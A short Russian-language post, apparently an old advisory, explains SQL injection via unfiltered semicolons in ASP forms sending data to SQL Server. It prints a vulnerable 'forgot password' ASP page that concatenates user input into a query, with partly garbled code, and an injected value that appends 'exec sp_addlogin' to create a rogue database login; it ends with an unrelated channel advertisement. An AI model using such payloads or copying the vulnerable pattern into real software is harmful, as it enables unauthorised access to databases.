Выполняем свой SQL запрос в форме.

Выполняем свой SQL запрос в форме.
Уязвимость обнаружена в формах, передающих данные на SQL server, в которых недостаточно фильтруется ; (точка с запятой).


Пример:

Создаем форму, и затем помещаем в User ID field.

999;exec sp_addlogin 'BadUser'

Пример кода:

<%
dim lngUserID
dim lngPassword
strUserID = request("txtUserID")
dim adoConn
dim adors
set adoConn = server.CreateObject("ADODB.connection")
set adors = server.CreateObject("ADODB.Recordset")
adoConn.open Application("conDOTS_ConnectionString")
strSQL = "Select * from tblUsers where User_Id = "&strUSerID adors.Open strSQL, adoconn if not adors.eof then
strEmail = adors("user_email")
strPassword = adors("password")
end if
adors.close
strSubject = "Password Request"
strBody = "Your Password is:"&strPassword
mailsent = fun_SendMail(strEmail,strEmail,strSubject,strBody)
end if
Session.abandon
%>
<body>
<form ACTION="forgotpass.asp" METHOD="POST">
 

Please enter your user id:

<input type="text" name="txtUserID"><br>
<br>
<input type="submit" value="Submit">
<input type="hidden" name="forgot" value="1">
</form>
</body>
</html>

Теперь, если добавить следующую строку в поле User ID :

12;exec sp_addlogin 'BadUser'

то SQL сервер выполнит обе команды.

Квантовый кот Шрёдингера ищет хозяина!

Живой, мертвый или в суперпозиции? Узнайте в нашем канале

Откройте коробку любопытства — подпишитесь